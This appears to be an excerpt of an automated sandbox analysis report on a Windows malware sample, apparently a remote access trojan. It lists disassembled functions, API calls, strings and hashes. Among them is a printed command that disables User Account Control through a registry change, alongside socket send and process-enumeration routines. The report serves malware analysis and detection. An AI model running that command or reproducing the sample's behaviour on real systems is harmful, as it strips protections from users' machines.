                                                                                                                              • API ID: ClassCreateErrorLastRegisterWindow
                                                                                                                              • String ID: 0$MsgWindowClass
                                                                                                                              • API String ID: 2877667751-2410386613
                                                                                                                              • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                                                                                                              • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                                                                                                                              • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                                                                                                              • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                                                                                                                              Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 004077AA
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 004077AF
                                                                                                                              Strings
                                                                                                                              • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                                                                                                                              • C:\Windows\System32\cmd.exe, xrefs: 00407796
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandle$CreateProcess
                                                                                                                              • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                                                              • API String ID: 2922976086-4183131282
                                                                                                                              • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                                                                                                              • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                                                                                                                              • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                                                                                                                              • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                                                                                                                              Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              • SG, xrefs: 004076DA
                                                                                                                              • C:\Users\user\Desktop\rSOD219ISF-____.scr.exe, xrefs: 004076C4
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: SG$C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                              • API String ID: 0-475652457
                                                                                                                              • Opcode ID: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
                                                                                                                              • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                                                                                                                              • Opcode Fuzzy Hash: aeb7ec08203138e6f15c389ffc7d883b5859742f8fda7ba0964a05b6f7ae7d1f
                                                                                                                              • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                                                                                                                              Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EF8), ref: 00405120
                                                                                                                              • SetEvent.KERNEL32(?), ref: 0040512C
                                                                                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405137
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00405140
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                                                              • String ID: KeepAlive | Disabled
                                                                                                                              • API String ID: 2993684571-305739064
                                                                                                                              • Opcode ID: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
                                                                                                                              • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                                                                                                                              • Opcode Fuzzy Hash: 09248d073b904291628f2a82f92fe6a987867c86155402bef043dd91105bf09b
                                                                                                                              • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                                                                                                                              Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                                                                                                                              • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                                                                                                                              • Sleep.KERNEL32(00002710), ref: 0041AE07
                                                                                                                              • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: PlaySound$HandleLocalModuleSleepTime
                                                                                                                              • String ID: Alarm triggered
                                                                                                                              • API String ID: 614609389-2816303416
                                                                                                                              • Opcode ID: b7b395eb2d8a8c6ac5b29d0703eec326aa80e776d4c85912c0c2915f52647228
                                                                                                                              • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                                                                                                                              • Opcode Fuzzy Hash: b7b395eb2d8a8c6ac5b29d0703eec326aa80e776d4c85912c0c2915f52647228
                                                                                                                              • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                                                                                                                              Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                                                                                                                              • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041CDED), ref: 0041CD6F
                                                                                                                              • SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041CDED), ref: 0041CD7C
                                                                                                                              • SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041CDED), ref: 0041CD8F
                                                                                                                              Strings
                                                                                                                              • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                                                                                              • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                                                                                              • API String ID: 3024135584-2418719853
                                                                                                                              • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                                                                                                                              • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                                                                                                                              • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                                                                                                                              • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                                                                                                                              Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
                                                                                                                              • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                                                                                                                              • Opcode Fuzzy Hash: 333ae2597f59f70c30e2a138da7d2dacca2148bf7cc6369c5742e0f4ac8aaabd
                                                                                                                              • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                                                                                                                              Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                                                              • _free.LIBCMT ref: 00444E06
                                                                                                                              • _free.LIBCMT ref: 00444E1D
                                                                                                                              • _free.LIBCMT ref: 00444E3C
                                                                                                                              • _free.LIBCMT ref: 00444E57
                                                                                                                              • _free.LIBCMT ref: 00444E6E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3033488037-0
                                                                                                                              • Opcode ID: bf8b46b868af2ecf30d3444370171b65bdd51122b8350dbbe1b9982e260663b5
                                                                                                                              • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                                                                                                                              • Opcode Fuzzy Hash: bf8b46b868af2ecf30d3444370171b65bdd51122b8350dbbe1b9982e260663b5
                                                                                                                              • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                                                                                                                              Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                                                                                                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                                                                                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                                                                                                                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                                                                                                                                • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                                                                                                                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                                                                                                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                                                                                                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4269425633-0
                                                                                                                              • Opcode ID: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
                                                                                                                              • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                                                                                                                              • Opcode Fuzzy Hash: 371d05c907dcca9c3c12ab80cf798e7523ffd5e5ecf3e3ca40c8afe2c02f4cbd
                                                                                                                              • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                                                                                                                              Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 269201875-0
                                                                                                                              • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                                                                                                                              • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                                                                                                                              • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                                                                                                                              • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                                                                                                                              Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                                                                                                                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                                                                                                                              • _free.LIBCMT ref: 0044F3BF
                                                                                                                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 336800556-0
                                                                                                                              • Opcode ID: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
                                                                                                                              • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                                                                                                                              • Opcode Fuzzy Hash: 02a97bdb6e6c5d26fe886d3a9ae646317caea956d8251916105bf2d3fe3a3540
                                                                                                                              • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                                                                                                                              Function 0041C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
                                                                                                                              • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C44D
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C459
                                                                                                                              • WriteFile.KERNEL32(00000000,00000000,00000000,00406F85,00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C46A
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041C510,00000000,00000000), ref: 0041C477
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseHandle$CreatePointerWrite
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1852769593-0
                                                                                                                              • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                                                                                                              • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                                                                                                                              • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                                                                                                                              • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                                                                                                                              Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 004509D4
                                                                                                                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                                                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                                                              • _free.LIBCMT ref: 004509E6
                                                                                                                              • _free.LIBCMT ref: 004509F8
                                                                                                                              • _free.LIBCMT ref: 00450A0A
                                                                                                                              • _free.LIBCMT ref: 00450A1C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                                                                                              • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                                                                                                                              • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                                                                                                              • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                                                                                                                              Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 00444066
                                                                                                                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                                                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                                                              • _free.LIBCMT ref: 00444078
                                                                                                                              • _free.LIBCMT ref: 0044408B
                                                                                                                              • _free.LIBCMT ref: 0044409C
                                                                                                                              • _free.LIBCMT ref: 004440AD
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                                                                                              • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                                                                                                                              • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                                                                                                              • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                                                                                                                              Function 0044BA37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 0-263838557
                                                                                                                              • Opcode ID: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                                                                                                                              • Instruction ID: 56b21f6c39f874414c878b072b89285690216c2d241c0ad811085e1835033e53
                                                                                                                              • Opcode Fuzzy Hash: 6a83c2428ddcf6ea71a3f14a315267ad78d224b448d93c685a7e270e7132f7c7
                                                                                                                              • Instruction Fuzzy Hash: 1B51B271D00249AAEF14DFA9C885FAFBBB8EF45314F14015FE400A7291DB78D901CBA9
                                                                                                                              Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CountEventTick
                                                                                                                              • String ID: !D@$NG
                                                                                                                              • API String ID: 180926312-2721294649
                                                                                                                              • Opcode ID: 4daf5ccc38b2bdb6d01829a919c108342988d57c8adc146389efe19ffd310691
                                                                                                                              • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                                                                                                                              • Opcode Fuzzy Hash: 4daf5ccc38b2bdb6d01829a919c108342988d57c8adc146389efe19ffd310691
                                                                                                                              • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                                                                                                                              Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                                                                                                                                • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                                                                                                                • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409F5B,00474EE0,?,00474EE0,00000000,00474EE0,00000000), ref: 0041C52A
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateFileKeyboardLayoutNameconnectsend
                                                                                                                              • String ID: XQG$NG$PG
                                                                                                                              • API String ID: 1634807452-3565412412
                                                                                                                              • Opcode ID: 54480eb0bc649cc79f0ae2d6016b7d596c1c2f6fed1d275c9adea3c12e8bc9d3
                                                                                                                              • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                                                                                                                              • Opcode Fuzzy Hash: 54480eb0bc649cc79f0ae2d6016b7d596c1c2f6fed1d275c9adea3c12e8bc9d3
                                                                                                                              • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                                                                                                                              Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                                              • String ID: `#D$`#D
                                                                                                                              • API String ID: 885266447-2450397995
                                                                                                                              • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                                                                                                              • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                                                                                                                              • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                                                                                                              • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                                                                                                                              Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\rSOD219ISF-____.scr.exe,00000104), ref: 00443475
                                                                                                                              • _free.LIBCMT ref: 00443540
                                                                                                                              • _free.LIBCMT ref: 0044354A
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$FileModuleName
                                                                                                                              • String ID: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe
                                                                                                                              • API String ID: 2506810119-1643896250
                                                                                                                              • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
